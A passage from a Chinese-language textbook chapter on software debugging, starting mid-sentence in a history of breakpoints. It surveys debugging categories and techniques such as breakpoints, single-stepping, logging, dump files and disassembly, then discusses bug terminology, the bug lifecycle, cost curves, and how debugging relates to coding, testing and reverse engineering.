的,指向调试器的数据和代码。
当程序执行到断点位置时,系统会执行那里的jda指令,跳转到调
试器的代码。调试器根据AC寄存器的内容知道这个断点的发生位
置,找到它所对应的断点记录,然后保存寄存器的内容(上下
文),并打印出存储在位置Y的AC寄存器内容给调试者。调试者可
以输入内存观察命令或执行其他调试功能,待调试结束后,输入某
一个命令恢复执行。这时调试器需要恢复寄存器的值,将保存的指
令恢复回去,然后跳转回去继续执行。
在x86系列CPU中,有一条使用异常机制的断点指令,即INT 3,供
调试器来设置断点。调试器会在合适的时机将断点处的指令替换为INT
3,当CPU执行到这里时,会产生断点异常,跳转到异常处理例程。我
们将在以后的章节中详细介绍其细节。
1.3.3 分支监视
程序中的分支和跳转指令对于软件的执行流程和执行结果起着关键
作用,不恰当的跳转往往是很多软件问题的错误根源。有时跟踪一个程
序,是为了检查它的跳转时机和跳转方向。因此,监视和报告程序的分
支位置和当时的状态对软件调试是很有意义的。
UNIVAC Ⅰ的条件转移断点(conditional transfer breakpoint)功能
正是针对这一需求而设计的。同样,这一机制由两个部分组成:一个部
分是条件转移指令Qn m和Tn m;另一部分是监视控制台上的按钮和指
示灯。指令中的m是跳转的目标地址,n是0到9的10个值之一,与控制
台上的0~9这10组按键(称为条件转移断点选择按钮)及指示灯相对
应。图1-6是控制面板的相关部分,下面一排共有12个按钮,上面一排
为指示灯,当某个按钮按下时,它上面的指示灯会变亮。最左侧红色按
钮(位于ALL按钮左侧)的作用是将所有按钮复位。当程序执行到Qn和
Tn指令时,系统会检查对应的条件转移断点选择按钮是否被按下。如果
按钮未被按下,那么系统会正常执行;如果按钮ALL被按下,那么系统
会中断执行,相当于遇到一个断点。
当UNIVAC Ⅰ因为条件转移断点而停止后,图1-6中的条件转移
(CONDITIONAL TRANSFER)指示灯会根据指令的比较结果,显示
即将跳转与否。如果调试人员希望执行与比较结果相反的动作,那么可
以通过右侧的开关强制跳转或不跳转。
图1-6 UNIVAC Ⅰ的条件转移断点控制按钮和指示灯
英特尔P6系列CPU引入了记录分支、中断和异常的功能,以及针对
分支设置断点和单步执行,我们将在第2篇详细介绍这些功能。
本节简要介绍了3种调试功能的发展历史,我们从中可以看出从单
纯的硬件机制到软硬件相互配合来调试软件的基本规律。使用软件来调
试软件的最重要工具就是调试器(debugger)。关于调试器的详细发展
历史参见卷2。
1.4 分类
根据被调试软件的特征、所使用的调试工具以及软件的运行环境等
要素,可以把软件调试分成很多个子类。本节将介绍几种常用的分类方
法,并介绍每一种分类方法中的典型调试任务。
1.4.1 按调试目标的系统环境分类
软件调试所使用的工具和方法与操作系统有着密切的关系。例如,
很多调试器是针对操作系统所设计的,只能在某一种或几种操作系统上
运行。对软件调试的一种基本分类标准就是被调试程序(调试目标)所
运行的系统环境(操作系统)。按照这个标准,我们可以把调试分为
Windows下的软件调试、Linux下的软件调试、DOS下的软件调试,等
等。
这种分类方法主要是针对编译为机器码的本地(native)程序而言
的。对于使用Java和.NET等动态语言所编写的运行在虚拟机中的程序,
它们具有较好的跨平台特性,与操作系统的关联度较低,因此不适用于
这种分类方法(见下文)。
1.4.2 按目标代码的执行方式分类
脚本语言具有简单易学、不需要编译等优点,比如网页开发中广泛
使用的JavaScript和VBScript。脚本程序是由专门的解释程序解释执行
的,不需要产生目标代码,与编译执行的程序有很多不同。调试使用脚
本语言编写的脚本程序的过程称为脚本调试。所使用的调试器称为脚本
调试器。
编译执行的程序又主要分成两类:一类是先编译为中间代码,在运
行时再动态编译为当前CPU能够执行的目标代码,典型的代表便是使用
C#开发的.NET程序。另一类是直接编译和链接成目标代码的程序,比
如传统的C/C++程序。为了便于区分,针对前一类代码的调试一般称为
托管调试,针对后一类程序的调试称为本地调试(native debugging)。
如果希望在同一个调试会话中既调试托管代码又调试本地代码,那么这
种调试方式称为混合调试(inter-op debugging)。
图1-7归纳出了按照执行和编译方式来对软件调试进行分类的判断
方法和步骤。
图1-7 按照执行和编译方式对软件调试进行分类的判断方法和步骤
本书重点讨论本地调试。
1.4.3 按目标代码的执行模式分类
在Windows这样的多任务操作系统中,作为保证安全和秩序的一个
根本措施,系统定义了两种执行模式,即低特权级的用户模式(user
mode)和高特权级的内核模式(kernel mode)。应用程序代码是运行在
用户模式下的,操作系统的内核、执行体和大多数设备驱动程序则是运
行在内核模式的。因此,根据被调试程序的执行模式,我们可以把软件
调试分为用户态调试(user mode debugging)和内核态调试(kernel
mode debugging)。
因为运行在内核态的代码主要是本地代码以及很少量的脚本,例如
ASL语言编写的ACPI脚本,所以内核态调试主要是调试本地代码。而用
户态调试包括调试本地应用程序和调试托管应用程序等。
本书后面的章节将详细介绍Windows下的用户态调试和内核态调
试。
1.4.4 按软件所处的阶段分类
根据被调试软件所处的开发阶段,我们可以把软件调试分为开发期
调试和产品期调试。二者的分界线是产品的正式发布。
产品期调试旨在解决产品发布后才发现的问题,问题的来源主要是
客户通过电子邮件、电话等方式报告的,或者通过软件的自动错误报告
机制(见分卷)得到的。与开发期调试相比,产品期调试具有如下特
征。
因为产品期的问题没有被产品发布之前的测试过程所发现,所以它
们很可能与特定的使用环境和使用方式有关。有时可能无法在调试
者的环境中再现问题,这时可能要使用远程调试方法,或者到用户
的环境中去,或者使用在用户环境中产生的故障转储文件。
产品期调试通常是在一个更大的范围内分析问题,因此,一个基本
的思路就是逐渐缩小范围,逐步靠近问题根源。有时问题的根源不
属于产品本身,调试的过程只是要证明这一点。
处于产品期调试阶段时,被调试的模块大多是发布版本的,有些模
块可能是其他公司的,没有源代码和符号文件。因此,产品期调试
往往需要汇编级的分析和跟踪,或者分析堆栈中的原始数据。
如果是在客户的环境中进行调试,那么客户通常不愿意向他们的系
统安装大量的工具或其他文件。如果不得不这样做,就需要先征得
他们的同意。
产品期调试的时间要求往往更紧急,因为客户可能亟待使用这个产
品,或者无法理解为什么需要较长的时间。
总之,产品期调试的难度一般更大,对调试者的要求更高。
1.4.5 按调试器与调试目标的相对位置分类
如果被调试程序(调试目标)和调试器在同一个计算机系统中,那
么这种调试称为本机调试(local debugging)。这里的同一个计算机系
统是指在同一台计算机上的同一个操作系统中,不包括运行在同一个物
理计算机上的多个虚拟机。
如果调试器和被调试程序分别位于不同的计算机系统中,它们通过
以太网络或其他网络进行通信,那么这种调试方式称为远程调试
(remote debugging)。远程调试通常需要在被调试程序所在的系统中
运行一个调试服务器程序。这个服务器程序和远程的调试器相互联系,
向调试器报告调试事件,并执行调试器下达的命令。在本书后续分册讨
论调试器时,我们将进一步讨论远程调试的工作方式。
利用Windows内核调试引擎所做的活动内核调试需要使用两台机
器,两者之间通过串行接口、1394接口或USB 2.0进行连接。尽管这种
调试的调试器和调试目标也在两台机器中,但是通常不将其归入远程调
试的范畴。
1.4.6 按调试目标的活动性分类
软件调试的目标通常是当时在实际运行的程序,但也可以是转储文
件(dump file)。因此,根据调试目标的活动性,可以把软件调试分为
活动目标调试(live target debugging)和转储文件调试(dump file
debugging)。转储文件以文件的形式将调试目标的内存状态凝固下
来,包含了某一时刻的程序运行状态。转储文件调试是定位产品期问题
以及调试系统崩溃和应用程序崩溃的一种简便而有效的方法。
1.4.7 按调试工具分类
软件调试也可以根据所使用的工具进行分类。最简单的就是按照调
试时是否使用调试器分为使用调试器的软件调试和不使用调试器的软件
调试。使用调试器的调试可以使用断点、单步执行、跟踪执行等强大的
调试功能。不使用调试器的调试主要依靠调试信息输出、日志文件、观
察内存和文件等。后者具有简单的优点,适用于调试简单的问题或无法
使用调试器的情况。
以上介绍了软件调试的几种常见分类方法,目的是让读者对典型的
软件调试任务有概括性的了解。有些分类方法是有交叉性的,比如调试
浏览器中的JavaScript属于脚本调试,也属于用户态调试。
1.5 调试技术概览
深入介绍各种软件调试技术是本书的主题,本着循序渐进的原则,
在本节中,我们先概述各种常用的软件调试技术,帮助大家建立起一个
总体印象。在后面的各章中,我们还会从不同角度做更详细的讨论。
1.5.1 断点
断点(breakpoint)是使用调试器进行调试时最常用的调试技术之
一。其基本思想是在某一个位置设置一个“陷阱”,当CPU执行到这个位
置时便“跌入陷阱”,即停止执行被调试的程序,中断到调试器(break
into debugger)中,让调试者进行分析和调试。调试者分析结束后,可
以让被调试程序恢复执行。
根据断点的设置空间可以把断点分为如下几种。
代码断点:设置在内存空间中的断点,其地址通常为某一段代码的
起始处。当CPU执行指定内存地址的代码(指令)时断点命中
(hit),中断到调试器。使用调试器的图形界面或快捷键在某一行
源代码或汇编代码处设置的断点便是代码断点。
数据断点:设置在内存空间中的断点,其地址一般为所要监视变量
(数据)的起始地址。当被调试程序访问指定内存地址的数据时断
点命中。根据需要,测试人员可以定义触发断点的访问方式(读/
写)和宽度(字节、字、双字等)。
I/O断点:设置在I/O空间中的断点,其地址为某一I/O地址。当程序
访问指定I/O地址的端口时中断到调试器。与数据断点类似,测试
人员也可以根据需要设置断点被触发的访问宽度。
根据断点的设置方法,我们可以把断点分为软件断点和硬件断点。
软件断点通常是通过向指定的代码位置插入专用的断点指令来实现的,
比如IA32 CPU的INT 3指令(机器码为0xCC)就是断点指令。硬件断点
通常是通过设置CPU的调试寄存器来设置的。IA32 CPU定义了8个调试
寄存器:DR0~DR7,可以同时设置最多4个硬件断点(对于一个调试
会话)。通过调试寄存器可以设置以上3种断点中的任意一种,但是通
过断点指令只可以设置代码断点。
当中断到调试器时,系统或调试器会将被调试程序的状态保存到一
个数据结构中——通常称为执行上下文(CONTEXT)。中断到调试器
后,被调试程序是处于静止状态的,直到用户输入恢复执行命令。
追踪点(tracepoint)是断点的一种衍生形式。其基本思路是:当设
置一个追踪点时,调试器内部会当作特殊的断点来处理。当执行到追踪
点时,系统会向调试器报告断点事件,在调试器收到后,会检查内部维
护的断点列表,发现目前发生的是追踪点后,便执行这个追踪点所定义
的行为,通常是打印提示信息和变量值,然后便直接恢复被调试程序执
行。因为调试器是在执行追踪动作后立刻恢复被调试程序执行的,所以
调试者没有感觉到被调试程序中断到调试器的过程,尽管实际上是发生
的。
条件断点(conditional breakpoint)的工作方式也与此类似。当用户
设置一个条件断点时,调试器实际插入的还是一个无条件断点,在断点
命中、调试器收到调试事件后,它会检查这个断点的附加条件。如果条
件满足,便中断给用户,让用户开始交互式调试;如果不满足,那么便
立刻恢复被调试程序执行。
1.5.2 单步执行
单步执行(step by step)是最早的调试方式之一。简单来说,就是
让应用程序按照某一步骤单位一步一步执行。根据每次要执行的步骤单
位,又分为如下几种。
每次执行一条汇编指令,称为汇编语言一级的单步跟踪。其实现方
法一般是设置CPU的单步执行标志,以IA32 CPU为例,设置CPU标
志寄存器的陷阱标志(Trap Flag,TF)位,可以让CPU每执行完一
条指令便产生一个调试异常(INT 1),中断到调试器。
每次执行源代码(比汇编语言更高级的程序语言,如C/C++)的一
条语句,又称为源代码级的单步跟踪。高级语言的单步执行一般也
是通过多次汇编一级的单步执行实现的。当调试器每次收到调试事
件时,它会判断程序指针(IP)是否还属于当前的高级语言语句,
如果是,便再次设置单步执行标志并立刻恢复执行,让CPU再执行
一条汇编指令,直到程序指针指向的汇编指令已经属于其他语句。
调试器通常是通过符号文件中的源代码行信息来判断程序指针所属
于的源代码行的。
每次执行一个程序分支,又称为分支到分支单步跟踪。设置IA32
CPU的DbgCtl MSR寄存器的BTF(Branch Trap Flag)标志后,再设
置TF标志,便可以让CPU执行到下一个分支指令时触发调试异常。
WinDBG的tb命令用来执行到下一个分支。
每次执行一个任务(线程),即当指定任务被调度执行时中断到调
试器。当IA32 CPU切换到一个新的任务时,它会检查任务状态段
(TSS)的T标志。如果该标志为1,那么便产生调试异常。但目前
的调试器大多还没有提供对应的功能。
单步执行可以跟踪程序执行的每一个步骤,观察代码的执行路线和
数据的变化过程,是深入诊断软件动态特征的一种有效方法。但是随着
软件向大型化方向的发展,从头到尾跟踪执行一个软件乃至一个模块,
一般都不再可行了。一般的做法是先使用断点功能将程序中断到感兴趣
的位置,然后再单步执行关键的代码。我们将在第4章详细介绍CPU的
单步执行调试。
1.5.3 输出调试信息
打印和输出调试信息(debug output/print)是一种简单而“古老”的
软件调试方式。其基本思想就是在程序中编写专门用于输出调试信息的
语句,将程序运行的位置、状态和变量取值等信息以文本的形式输出到
某一个可以观察到的地方,可以是控制台、窗口、文件或者调试器。
比如,在Windows平台上,驱动程序可以使用DbgPrint/DbgPrintEx
来输出调试信息,应用程序可以调用OutputDebugString,控制台程序可
以直接使用printf系列函数打印信息。在Linux平台上,驱动程序可以使
用printk来输出调试信息,应用程序可以使用printf系列函数。
以上方法的优点是简单方便、不依赖于调试器和复杂的工具,因此
至今仍在很多场合广泛使用。
不过这种简单方式也有一些明显的缺点,比如需要在被调试程序中
加入代码,如果被调试程序的某个位置没有打印语句,那么便无法观察
到那里的信息,如果要增加打印语句,那么需要重新编译和更新程序。
另外,这种方法容易影响程序的执行效率,打印出的文字所包含的信息
有限,容易泄漏程序的技术细节,通常不可以动态开启、信息不是结构
化的、难以分析和整理等。我们将在16.5.5节介绍使用这种方法应该注
意的一些细节。
1.5.4 日志
与输出调试信息类似,写日志(log)是另一种被调试程序自发的
辅助调试手段。其基本思想是在编写程序时加入特定的代码将程序运行
的状态信息写到日志文件或数据库中。
日志文件通常自动按时间取文件名,每一条记录也有详细的时间信
息,因此适合长期保存以及事后检查与分析。因此很多需要连续长时间
在后台运行的服务器程序都有日志机制。
Windows操作系统提供了基本的日志记录、观察和管理(删除和备
份)功能。Windows Vista新引入了名为Common Log File
System(CLFS.SYS)的内核模块,用于进一步加强日志功能。Syslog是
Linux系统下常用的日志设施。我们将在第15章详细介绍这些调试支持
的内容。
1.5.5 事件追踪
打印调试信息和日志都是以文本形式来输出和记录信息的,因此不
适合处理数据量庞大且速度要求高的情况。事件追踪机制(Event
Trace)正是针对这一需求设计的,它使用结构化的二进制形式来记录
数据,观察时再根据格式文件将信息格式转化为文本形式,因此适用于
监视频繁且复杂的软件过程,比如监视文件访问和网络通信等。
ETW(Event Trace for Windows)是Windows操作系统内建的一种
事件追踪机制,Windows内核本身和很多Windows下的软件工具(如
Bootvis、TCP/IP View)都使用了该机制。我们将在第15章详细介绍事
件追踪机制及其应用。
1.5.6 转储文件
某些情况下,我们希望将发生问题时的系统状态像拍照片一样永久
保存下来,发送或带走后再进一步分析和调试,这就是转储文件
(dump file)的基本用途。理想情况下,转储文件是转储时目标程序运
行系统的一个快照,包含了当时内存中的所有信息,包括代码和各种数
据。但在实际情况下,考虑到转储文件过大时不但要占用大量的磁盘空
间,而且不便于发送和传递,因此转储文件通常分为小、中、大几种规
格,最小的通常称为mini dump。
Windows操作系统提供了为应用程序和整个系统产生转储文件的机
制,可以在不停止程序或系统运行的情况下产生转储文件。Linux系统
下的转储文件有个更好听的名字,叫作core文件或者core转储文件,这
个名字应该来源于20世纪50~70年代时流行的磁核内存技术。当时,大
块头的磁核存储器是计算机系统中不可或缺的主流内存设备,直到被
SRAM和DRAM这样的半导体存储产品所取代。
1.5.7 栈回溯
目前的主流CPU架构都是用栈来进行函数调用的,栈上记录了函数
的返回地址,因此通过递归式寻找放在栈上的函数返回地址,便可以追
溯出当前线程的函数调用序列,这便是栈回溯(stack backtrace)的基本
原理。通过栈回溯产生的函数调用信息称为call stack(函数调用栈)。
栈回溯是记录和探索程序执行踪迹的极佳方法,使用这种方法,可
以快速了解程序的运行轨迹,看其“从哪里来,向哪里去”。
因为从栈上得到的只是函数返回地址(数值),不是函数名称,所
以为了便于理解,可以利用调试符号(debug symbol)文件将返回地址
翻译成函数名。大多数编译器都支持在编译时生成调试符号。微软的调
试符号服务器包含了多个Windows版本的系统文件的调试符号。我们将
在本书后续分卷深入讨论调试符号。
大多数调试器都提供了栈回溯的功能,比如WinDBG的k命令和
GDB的bt命令,它们都是用来观察栈回溯信息的,某些非调试器工具也
可以记录和呈现栈回溯信息。
1.5.8 反汇编
所谓反汇编(disassemble),就是将目标代码(指令)翻译为汇编
代码。因为汇编代码与机器码有着简单的对应关系,所以反汇编是了解
程序目标代码的一种非常直接而且有效的方式。有时我们对高级语言的
某一条语句的执行结果百思不得其解,就可以看一下它所对应的汇编代
码,这时往往可以更快地发现问题的症结。以1.6.1节将介绍的bad_div
函数为例,看一下汇编指令,我们就可知道编译器是将C++中的除法操
作编译为无符号整除指令(DIV),而不是有符号整除指令(IDIV)。
这正是错误所在。
另外,反汇编的依赖性非常小,根据二进制的可执行文件就可以得
到汇编语言表示的程序。这也是反汇编的一大优点。
调试符号对于反汇编有着积极的意义,反汇编工具可以根据调试符
号得到函数名和变量名等信息,这样产生的汇编代码具有更好的可读
性。
大多数调试器提供了反汇编和跟踪汇编代码的能力。一些工具也提
供了反汇编功能,IDA(Interactive Disassembler)是其中非常著名的一
个。
1.5.9 观察和修改内存数据
观察被调试程序的数据是了解程序内部状态的一种直接方法。很多
调试器提供了观察和修改数据的功能,包括变量和程序的栈及堆等重要
数据结构。在调试符号的支持下,我们可以按照数据类型来显示结构化
的数据。
寄存器值代表了程序运行的瞬时状态。观察和修改寄存器的值也是
一种常见的调试技术。
1.5.10 控制被调试进程和线程
像WinDBG这样的调试器支持同时调试多个进程,每个进程又可以
包含多个线程。调试器提供了单独挂起和恢复某一个或多个线程的功
能,这对于调试多线程和分布式软件是很有帮助的。我们将在本书后续
分卷详细介绍控制进程和线程的方法。
1.6 错误与缺欠
软件缺欠是软件调试和测试过程的主要工作对象。现实中,人们经
常交替使用几个名词来称呼软件问题,比如error、bug、fault、failure和
defect。本节将介绍对这几个名词的一种常见区分方法,说明本书的用
法,并讨论有关的几个问题。
1.6.1 内因与表象
区分以上几个术语的一种方法是从内因和表面现象的角度来分析。
一般认为,failure(失败)是用来描述软件问题的可见部分,即外在的
表现和症状(symptom)。而error是导致这种表象的内因(root
cause)。fault是指由内因导致表象出现的那个错误状态。而bug和defect
是对软件错误和失败的通用说法,二者之间没有显著的差异,或许bug
一词更通俗和口语化,而defect(缺欠)一词正式一些。
以第一个登记到文档中的bug为例,那只飞蛾是error,计算机停止
工作是failure,70#继电器断路是fault。当不区分内因和表象时,便可以
模糊地说是Mark II中的一个缺欠或者bug。
进一步来说,一方面,一个错误(error)可能导致很多个失败
(failure),也就是所谓的多个问题是同样根源(same root cause)。另
一方面,如果没有满足特定的条件,那么“错误”是不会导致“失败”的,
或者说错误是在一定条件下才表现出来的,表现的形式可能有多种。
以下面的函数为例:
int bad_div(int n,unsigned int m)
{
return n/m;
}
当这样调用它时:
printf("%d/%d=%d!\n",6,3,bad_div(6,3));
打印出的结果是正确的:
6/3=2!
但是当这样调用它时:
printf("%d/%d=%d!\n",-6,3,bad_div(-6,3));
打印出的结果却是错误的:
-6/3=1431655763!
当然,如果参数n为−10,m为2,那么结果也是错误的。其中的原
因为参数m是无符号整数,所以编译器在编译n/m时采用了无符号除法
指令(DIV),这相当于把参数n也假设为无符号整数。因此,当n为负
数时,实际上被当作了一个较大的正数来做除法,除后的商被返回。
对于这个例子,函数bad_div的代码存在错误,不应该将有符号整
数和无符号整数直接做除法。这个错误当两个参数都为正数6和3时不会
体现出来,但是当参数n为负数、m不等于1时可以体现出来,会导
致“失败”症状,特别的−6除以+3会得到结果1431655763。
在本书中,除非特别指出,我们通常用bug或软件缺欠(defect)来
描述软件调试所面对的软件问题。
1.6.2 谁的bug
在软件工程中,一个值得注意的问题是不要把bug轻易归咎于某一
个程序员。讨论bug时,不要使用“你的 bug”这样的说法,因为这样可能
是不公平的,容易伤害程序员的自尊心,不利于调动他们的积极性。
简单来说,测试过程中发现的与软件需求规约不一致的任何现象都
可以当作bug/defect报告出来。其中有些可能是因为代码中确实存在过
失而导致的,而有些可能是与需求定义和前期设计有关的。因此,把和
某个模块有关的bug都归咎于负责这个模块的程序员可能是不恰当的。
一种较好的方式是称呼“××模块的bug”,而不要说成是“××人的
bug”。这样,与这个模块有关的人员可以相互协作,共同努力,迅速将
其解决,这对于个人和整个团队都是有好处的。
老雷评点
在《周易》中,有一句关于语言之重要性的话,即“言行,
君子之枢机,枢机之发,荣辱之主也”。有时,一字之差就会让
人暴跳如雷,换一种说法则让人心悦诚服。在技术书中有此一
段,作者煞费苦心也。
1.6.3 bug的生命周期
图1-8描述了一个典型的软件bug从被发现到被消除所经历的主要过
程。其中不带格线的矩形框代表的是测试人员的活动,而带格线的矩形
框代表的是开发和调试人员的活动。
图1-8 bug的生命周期
当登记一个bug时,通常要为其指定如下属性。
严重程度。一般分为低、中、高、critical(关键)、
showstopper(观止)等。
状态。一般的做法是:新登记一般记录为new,指定了负责人后修
改为assigned,开发人员实现了解决方案等待测试验证时可以设置
为resolved,测试人员验证问题已经解决后改为closed,由于某种原
因此问题又重新出现后,那么可以设置为reopened。
环境。包括硬件平台(x86、x64、安腾等)、操作系统,等等。
bug被登录到系统(如Bugzilla)中后,它会被指派一个负责人,这
个负责人会先在自己的系统中重现问题,然后调试和定位问题的根源,
找到根源后,修正代码,并进行初步的测试,没有问题后将修正载入即
将发布给测试人员的下一个版本中,并将系统中的bug状态修改为
resolved。而后由测试人员进行测试和验证。如果经过一段时间的测试
证明问题确实解决了,那么就可以关闭这个问题。对于严重程度很高的
问题,可能需要通过团队会议讨论后才能关闭。
1.6.4 软件错误的开支曲线
我们把与一个软件错误直接相关的人力投入和物力投入称为此软件
错误的开支(cost)。
如果一个错误在设计或编码阶段就被发现和解决了,那么它所导致
的开支主要是设计者或开发者所用的时间。
如果一个错误是在发布给测试团队后由测试人员所发现的,那么其
开支便要包括测试过程的各种投入、测试团队和开发团队相互沟通所需
的人力和时间开销、重现问题和定位问题根源所需的投入、设计和实现
解决方案及重新验证解决方案的投入。
如果一个错误是在软件正式发布后才发现的,那么其导致的危害通
常会更大,可能的开支项目有处理客户投诉、远程支持、开发及发布补
丁程序、客户退货、产品召回、赔偿导致的其他损失等。
不难看出,软件错误被发现和纠正得越早,其开支就越小。如果在
开发阶段发现和得到纠正,那么就不需要测试阶段的开支了。如果等产
品都已经发布给最终用户才发现问题,那么其导致的开支会是以前的数
十倍乃至更多。Barry W. Boehm在《Software Engineering Economics》
一书中给出了在软件生命周期的不同阶段修正软件错误的相对成本(见
表1-1)。
表1-1 软件错误的相对开支
错误被检测和纠正的阶段
相对开支的中值
需求
2
设计
5
编码
10
开发测试(development test)
20
接受测试(acceptance test)
50
运行
150
图1-9是根据表1-1中的数据画出的曲线,其中横轴代表软件生命周
期的各个阶段(时间),纵轴代表发现和纠正软件错误的相对成本(中
值)。
图1-9 软件错误开支相对于软件生命周期各阶段的曲线
根据图1-9中的曲线,软件错误的开支是随着发现的时间呈指数形
式上升的,所以应该尽可能早地发现和纠正问题。要做到这一点,需要
软件团队中所有成员的共同努力,从一开始就注重程序的可测试性和可
调试性。我们将在本书后续分卷详细讨论可调试性和更多有关的问题。
1.7 重要性
从软件工程的角度来讲,软件调试是软件工程的一个重要部分,软
件调试出现在软件工程的各个阶段。从最初的可行性分析、原型验证到
开发和测试阶段,再到发布后的维护与支持,都需要软件调试技术。
定位和修正bug是几乎所有软件项目的重要问题,越临近发布,这
个问题的重要性越高!很多软件项目的延期是由于无法在原来的期限内
修正bug所造成的。为了解决这个问题,整个软件团队都应该重视软件
的可调试性,重视对软件调试风险的评估和预测,并预留时间。本节先
介绍软件调试与软件工程中其他活动的关系,然后介绍学习调试技术的
意义。
1.7.1 调试与编码的关系
调试与编码(coding)是软件开发中不同但联系密切的两个过程。
在软件的开发阶段,对于一个模块(一段代码)来说,它的编写者通常
也是它的调试者。或者说,一个程序员要负责调试他所编写的代码。这
样做有两个非常大的好处。
调试过程可以让程序员了解程序的实际执行过程,检验执行效果与
自己设计时的预想是否一致,如果不一致,那么很可能预示着代码
存在问题,应该引起重视。
调试过程可以让程序员更好地认识到提高代码可调试性和代码质量
的重要性,进而让他们自觉改进编码方式,合理添加可用来支持调
试的代码。
编码和调试是程序员日常工作中两项最主要的任务,这两项任务是
相辅相成的,编写具有可调试性的高质量代码可以明显提高调试效率,
节约调试时间。此外,调试可以让程序员真切感受程序的实际执行过
程,反思编码和设计中的问题,加深对软件和系统的理解,提高对代码
的感知力和控制力。
在软件发布后,有些调试任务是由技术支持人员来完成的,但是当
他们将错误定位到某个模块并且无法解决时,有时还要找到它的本来设
计者。
很多经验丰富的程序员都把调试放在头等重要的位置,他们会利用
各种调试手段观察、跟踪和理解代码的执行过程。通过调试,他们可以
发现编码和设计中的问题,并把这些问题在发布给测试人员之前便纠正
了。于是,人们认为他们编写代码的水平非常高,没有或者很少有
bug,在团队中有非常好的口碑。对于测试人员发现的问题,他们也仿
佛先知先觉,看了测试人员的描述后,一般很快就能意识到问题所在,
因为他们已经通过调试把代码的静态和动态特征都放在大脑中了,对其
了然于胸。
但也有些程序员很少跟踪和调试他们编写的代码,也不知道这些代
码何时被执行以及执行多少次。对于测试人员报告的一大堆问题,他们
也经常是一头雾水,不知所措。
毋庸置疑,忽视调试对于提高程序员的编程水平和综合能力都是很
不利的。因此,《Debugging by Thinking》一书的作者Robert Charles
Metzger说道:“导致今天的软件有如此多缺欠的原因有很多,其中之一
就是很多程序员不擅长调试,一些程序员对待软件调试就像对待个人所
得税申报表那样消极。”
老雷评点
多年来,我所遇到的编程高手无不深谙调试技术,而那些摸
不到编程门道的门外汉则大多不知调试为何物。亦有貌似深谙软
件之道者,说调试无足轻重,真是大言不惭。
1.7.2 调试与测试的关系
简单地说,测试的目的是在不知道有问题存在的情况下去寻找和发
现问题,而调试是在已经知道问题存在的情况下定位问题根源。从因果
关系的角度来看,测试是旨在发现软件“表面”的不当行为和属性,而调
试是寻找这个表象下面的内因。因此二者是有明显区别的,尽管有些人
时常将它们混淆在一起。
如果说代码是联系调试与编码的桥梁,那么软件缺欠便是联系调试
与测试的桥梁。缺欠是测试过程的成果(输出),是调试过程的输入。
测试的目标首先是要发现缺欠,其次是如何协助关闭这些缺欠。
测试与调试的宗旨是一致的,那就是软件的按期交付。为了实现这
一共同目标,测试人员与调试人员应该相互尊重,密切配合。例如,测
试人员应该尽可能准确详细地描述缺欠,说明错误的症状、实际的结果
和期待的结果、发现问题的软硬件环境、重现问题的方法以及需要注意
的细节。测试人员应该在软件中加入检查错误和辅助调试的手段,以便
更快地定位问题。
软件的调试版本应包含更多的错误检查环节,以便更容易测试出错
误,因此除了测试软件的发布版本外,测试调试版本是提高测试效率、
加快整个项目进度的有效措施。著名的调试专家John Robbins建议根据
软件的开发阶段来安排测试调试版本的时间,在项目的初始阶段,对两
个版本的测试时间应该是基本一样的,随着软件的成熟,逐渐过渡到只
测试发布版本。
为了使以上方法更有效,编码时应该加入恰当的断言并建立合适的
错误报告和记录机制。我们将在本书后续分册中介绍运行期检查时更详
细地讨论这个问题。
1.7.3 调试与逆向工程的关系
典型的软件开发过程是设计、编码,再编译为可执行文件(目标程
序)的过程。因此,所谓逆向工程(reverse engineering)就是根据可执
行文件反向推导出编码方式和设计方法的过程。
调试器是逆向工程中的一种主要工具。符号文件、跟踪执行、变量
监视和观察以及断点这些软件调试技术都是实施逆向工程时经常使用的
技术手段。
逆向工程的合法性依赖于很多因素,需要视软件的授权协议、所在
国家的法律、逆向工程的目的等具体情况而定,其细节超出了本书的讨
论范围。
1.7.4 学习调试技术的意义
为什么要学习软件调试技术呢?原因如下。
首先,软件调试技术是解决复杂软件问题最强大的工具。如果把解
决复杂软件问题看作一场战斗,那么软件调试技术便是一种可以直击要
害而且锐不可当的武器。说直击要害,是因为利用调试技术可以从问题
的正面迎头而上,从问题症结着手,直接深入内部。而不像很多其他技
术那样需要从侧面探索,间接地推测,然后做大量的排查。说锐不可当
是因为核心的调试技术大多来源于CPU和操作系统的直接支持,所以具
有非常好的健壮性和稳定性,有较高的优先级。
其次,提高调试技术水平有利于提高软件工程师特别是程序员的工
作效率,降低他们的工作强度。很多软件工程师都认为调试软件花去了
他们大半的工作时间。因此提高调试软件的技术水平和效率对于提高总
的工作效率是非常有意义的。
再次,调试技术是学习其他软硬件技术的一个极好工具。通过软件
调试技术的强大观察能力和断点、栈回溯、跟踪等功能可以快速地了解
一个软件和系统的模块、架构和工作流程,因此是学习其他软硬件技术
的一种快速而有效的方法。作者经常使用这种方法来学习新的开发工
具、应用软件和操作系统。
最后,相对其他软件技术,软件调试技术具有更好的稳定性,不会
在短时间内被淘汰。事实上,我们前面介绍的大多数调试技术都有几十
年的历史了。因此,可以说软件调试技术是一门一旦掌握便可以长期受
用的技术。
1.7.5 调试技术尚未得到应有的重视
尽管软件调试始终是软件开发中必不可少的一步,但至今没有得到
应有的重视。
在教育和研究领域,软件调试技术尚未像软件测试和编译原理那样
成为一个独立的学科,有关的理论和知识尚未系统化,专门讨论软件调
试的书籍和资料非常有限。根据作者的了解,还没有一所大学或软件学
院开设专门关于软件调试的课程。这导致很多软件工程师没有接受过系
统的软件调试培训,对软件调试的基本原理知之甚少。
在软件工程中,很多时候,软件调试还处于被忽略的位置。当定义
日程表时,开发团队很少专门评估软件调试方面的风险,为其预留专门
的时间;当设计架构时,他们很少考虑软件的可调试性;在开发阶段,
针对调试方面的管理和约束也很薄弱—— 一个项目中经常存在着多种
调试机制,相互重叠,而且都很简陋。在员工培训方面,针对软件调试
的培训也比较少。
我们将在第四篇(第15~16章)进一步讨论软件调试与软件工程的
更多话题,特别是软件的可调试性。
老雷评点
近年来,欣然看到招聘广告中有时出现调试工程师(debug
engineer)的职位,且有些公司开始设立专职的调试团队(debug
team),这或为软件调试从隐学变为显学之征兆。
1.8 本章小结
本章的前两节介绍了软件调试的解释性定义、基本过程(见1.1
节)和特征(见1.2节)。1.3节讨论了断点、单步执行和分支监视3种基
本的软件调试技术的简要发展历史。1.4节从多个角度介绍了常见的软
件调试任务。1.5节介绍了软件调试所使用的基本技术。1.6节探讨了关
于软件错误的一些术语和概念。最后一节介绍了软件调试的重要性及其
与软件工程中其他活动的关系。
